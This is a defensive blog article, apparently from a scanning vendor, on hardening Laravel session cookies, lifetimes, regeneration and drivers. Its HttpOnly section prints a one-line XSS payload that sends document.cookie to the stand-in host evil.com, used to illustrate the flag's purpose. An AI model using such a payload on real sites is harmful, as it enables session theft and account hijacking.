# Laravel Session Security: HttpOnly, SameSite, and Secure Cookies

> Your session configuration is probably insecure by default. Learn how to configure HttpOnly, SameSite, Secure flags, session expiration, and driver selection to prevent hijacking and fixation.

**Author:** Matt King | **Published:** June 2, 2026 | **Category:** Security

---

Sessions are the backbone of authentication in Laravel. After a user logs in, every subsequent request is identified by a session cookie. If that cookie is misconfigured, an attacker does not need to steal a password. They steal the session instead, and to the server, they look exactly like the legitimate user.

The uncomfortable reality is that Laravel's default session configuration is not production-ready out of the box. It ships with sensible defaults for local development, but several security-critical flags are disabled by default to avoid breaking developer workflows.

---

## Why Session Security Matters

When a user authenticates, Laravel generates a unique session ID stored in a cookie named `laravel_session` (by default). This mechanism has three common failure modes:

**Session hijacking.** An attacker obtains a valid session ID through XSS, network interception, or reading cookies from JavaScript.

**Session fixation.** An attacker plants a known session ID in the victim's browser before they log in. If the app does not rotate the ID on login, the attacker's pre-planted ID becomes authenticated.

**Session data theft.** If session data is stored in plain text on a shared server, another tenant can read it directly.

All three are preventable with correct configuration.

---

## The Session Config File

Laravel's session configuration lives in `config/session.php`:

```php
return [
    'driver'          => env('SESSION_DRIVER', 'file'),
    'lifetime'        => env('SESSION_LIFETIME', 120),
    'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false),
    'encrypt'         => env('SESSION_ENCRYPT', false),
    'cookie'          => env('SESSION_COOKIE', 'laravel_session'),
    'path'            => env('SESSION_PATH', '/'),
    'domain'          => env('SESSION_DOMAIN'),
    'secure'          => env('SESSION_SECURE_COOKIE', false),
    'http_only'       => env('SESSION_HTTP_ONLY', true),
    'same_site'       => env('SESSION_SAME_SITE', 'lax'),
];
```

---

## HttpOnly Flag

When `http_only` is `true`, the browser refuses to expose the cookie to `document.cookie` or any JavaScript API.

**Why it matters.** If an attacker finds XSS, the first thing they try is:

```javascript
fetch('https://evil.com/steal?c=' + document.cookie);
```

With HttpOnly enabled, the session cookie simply does not appear in `document.cookie`.

```ini
SESSION_HTTP_ONLY=true
```

Laravel defaults this to `true`. Verify your deployment has not overridden it.

---

## Secure Flag

Forces the browser to send the session cookie only over HTTPS connections.

```ini
SESSION_SECURE_COOKIE=true
```

Without this flag, your session cookie is visible in plain text to anyone intercepting network traffic. In production, every Laravel application should serve exclusively over HTTPS. The Secure flag enforces this at the cookie level.

Do not set this to `true` in local development unless you have a local HTTPS setup.

---

## SameSite Attribute

Controls when the browser sends the session cookie with cross-site requests.

### Lax (recommended)

Sent on same-site requests and top-level cross-site navigations (clicking a link). Not sent on cross-site sub-requests: images, iframes, form POSTs from external origins.

```ini
SESSION_SAME_SITE=lax
```

### Strict

Never sent on any cross-site request. Breaks OAuth callbacks, magic link logins, and "open in app" flows.

### None

Sent on all requests. Requires the Secure flag. Disables SameSite protection entirely. Only use for intentional cross-origin iframe scenarios.

---

## Session Expiration and Rotation

### Lifetime

```ini
SESSION_LIFETIME=120
```

120 minutes of inactivity is a reasonable default. Reduce for sensitive applications (banking, admin panels).

### Session Regeneration

Rotate the session ID immediately after successful login to prevent fixation:

```php
if (Auth::attempt($credentials)) {
    $request->session()->regenerate();
    return redirect()->intended(route('dashboard'));
}
```

On logout, invalidate completely:

```php
Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
```

---

## Session Driver Selection

| Driver | Security | Performance | Notes |
|--------|----------|-------------|-------|
| Redis | High | Excellent | Preferred for production. Fast, supports atomic operations, easy revocation. |
| Database | High | Good | Queryable, easy revocation. Slightly slower than Redis. |
| File | Medium | Good | Single-server only. Depends on file permissions. |
| Cookie | Low | N/A | Stores data in browser. No server-side revocation. Avoid in production. |

**Recommendation: Redis or database. Never cookie in production.**

---

## Session Encryption

```ini
SESSION_ENCRYPT=true
```

When enabled, session data is encrypted with your `APP_KEY` before being written to storage. Enable when:

- Running on shared hosting
- Compliance requirements mandate encryption at rest (PCI DSS, HIPAA)
- Storing sensitive data in the session (avoid this, but encrypt if you must)

---

## Production Configuration

```ini
SESSION_DRIVER=redis
SESSION_LIFETIME=120
SESSION_EXPIRE_ON_CLOSE=false
SESSION_ENCRYPT=false
SESSION_SECURE_COOKIE=true
SESSION_HTTP_ONLY=true
SESSION_SAME_SITE=lax
SESSION_DOMAIN=yourapp.com
```

---

## Testing Your Session Security

### Browser DevTools

Open the Application tab, expand Cookies, find `laravel_session`. Verify: HttpOnly checkmark, Secure checkmark, SameSite shows Lax.

### curl

```bash
curl -I https://yourapp.com/login
```

Look for:

```
Set-Cookie: laravel_session=abc123...; Path=/; HttpOnly; Secure; SameSite=Lax
```

### Automated Scanning

StackShield continuously monitors your session cookie configuration and flags missing security attributes on every scan.

[Run a free StackShield scan](/free-scan) to see your current session security posture.

---

## Summary

Session security comes down to five concrete actions:

1. Set `SESSION_SECURE_COOKIE=true` in production
2. Verify `SESSION_HTTP_ONLY=true` is not overridden
3. Keep `SESSION_SAME_SITE=lax`
4. Switch `SESSION_DRIVER` to `redis` or `database`
5. Call `$request->session()->regenerate()` after every successful login

None of these require architectural work. They are configuration values that take five minutes to set.

---

## Frequently Asked Questions

### What is the most secure session driver for Laravel?

Redis and database are the two most secure session drivers for production Laravel applications. Both store session data server-side, support atomic operations, and allow you to invalidate sessions by deleting the record. The cookie driver should be avoided in production because it stores session data in the browser.

### Should I set SameSite to Strict or Lax?

Lax is the right default for most Laravel applications. It blocks CSRF from cross-site form submissions while still allowing users to arrive from external links with their session intact. Strict breaks OAuth flows, magic link logins, and any authentication journey that starts on a third-party page.

### How do I prevent session fixation in Laravel?

Call $request->session()->regenerate() immediately after a successful login. This assigns a new session ID to the authenticated session, invalidating any session ID the attacker may have planted before login. Laravel Fortify and Breeze handle this automatically.

### Does Laravel encrypt session data by default?

No. The encrypt option in config/session.php defaults to false. The session cookie itself only contains the session ID, not the data. The actual session data in your database or Redis is stored in plain text unless you explicitly set encrypt to true.

### How do I test if my session cookies are secure?

Open your browser DevTools, go to the Application tab, expand Cookies, and check the HttpOnly, Secure, and SameSite columns for your session cookie. You can also use curl -I to inspect Set-Cookie headers. StackShield automates this check on every scan.

